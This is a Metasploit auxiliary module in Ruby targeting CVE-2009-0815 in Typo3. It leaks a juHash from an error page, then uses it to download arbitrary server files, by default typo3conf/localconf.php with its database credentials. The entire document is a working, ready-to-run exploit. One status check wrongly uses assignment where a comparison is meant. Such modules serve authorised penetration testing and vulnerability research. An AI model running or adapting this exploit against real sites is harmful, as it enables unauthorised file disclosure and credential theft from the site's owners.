Typo3 Sa-2009-002 File Disclosure

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Typo3 sa-2009-002 File Disclosure',  
'Description' => %q{  
This module exploits a file disclosure vulnerability in the jumpUrl mechanism of  
Typo3. This flaw can be used to read any file that the web server user account has  
access to.  
},  
'Author' => [ 'spinbad <spinbad.security[at]googlemail.com>' ],  
'License' => MSF_LICENSE,  
'References' => [  
['OSVDB', '52048'],  
['CVE', '2009-0815'],  
['URL', 'http://web.archive.org/web/20090212165636/http://secunia.com:80/advisories/33829/'],  
['EDB', '8038'],  
['URL', 'http://typo3.org/teams/security/security-bulletins/typo3-sa-2009-002/'],  
],  
'DisclosureDate' => '2009-02-10',  
'Actions' => [  
['Download', { 'Description' => 'Download arbitrary file' }]  
],  
'DefaultAction' => 'Download'  
)  
)  
  
register_options(  
[  
OptString.new('URI', [true, 'Typo3 Path', '/']),  
OptString.new('RFILE', [true, 'The remote file to download', 'typo3conf/localconf.php']),  
OptString.new('LFILE', [true, 'The local filename to store the data', 'localconf.php']),  
]  
)  
end  
  
def run  
print_status('Establishing a connection to the target...')  
  
error_uri = datastore['URI'] + '/index.php?jumpurl=' + datastore['RFILE'] + '&juSecure=1&type=0&locationData=1:'  
ju_hash = nil  
  
res = send_request_raw({  
'uri' => error_uri,  
'method' => 'GET',  
'headers' =>  
{  
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',  
'Connection' => 'Close'  
}  
}, 25)  
  
if (res && (res.message == 'OK'))  
res.body =~ /jumpurl Secure: Calculated juHash, ((\w)+), did not match the submitted juHash./  
  
if ::Regexp.last_match(1).nil?  
print_error('Error while getting juHash. Maybe the version is already patched...')  
return  
end  
  
ju_hash = ::Regexp.last_match(1)  
print_status("Getting juHash from error message: #{ju_hash}")  
  
else  
print_error('No response from the server.')  
return  
end  
  
file_uri = datastore['URI'] + '/index.php?jumpurl=' + datastore['RFILE'] + "&juSecure=1&type=0&juHash=#{ju_hash}&locationData=1:"  
print_status("Trying to get #{datastore['RFILE']}.")  
  
file = send_request_raw({  
'uri' => file_uri,  
'method' => 'GET',  
'headers' =>  
{  
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',  
'Connection' => 'Close'  
}  
}, 25)  
  
if (file && ((file.message = 'OK')))  
if file.body == 'jumpurl Secure: "' + datastore['RFILE'] + '" was not a valid file!'  
print_error("File #{datastore['RFILE']} does not exist.")  
return  
end  
  
print_status("Writing local file #{datastore['LFILE']}.")  
open(datastore['LFILE'], 'w') { |f| f << file.body }  
else  
print_error('Error while getting file.')  
end  
end  
end  
`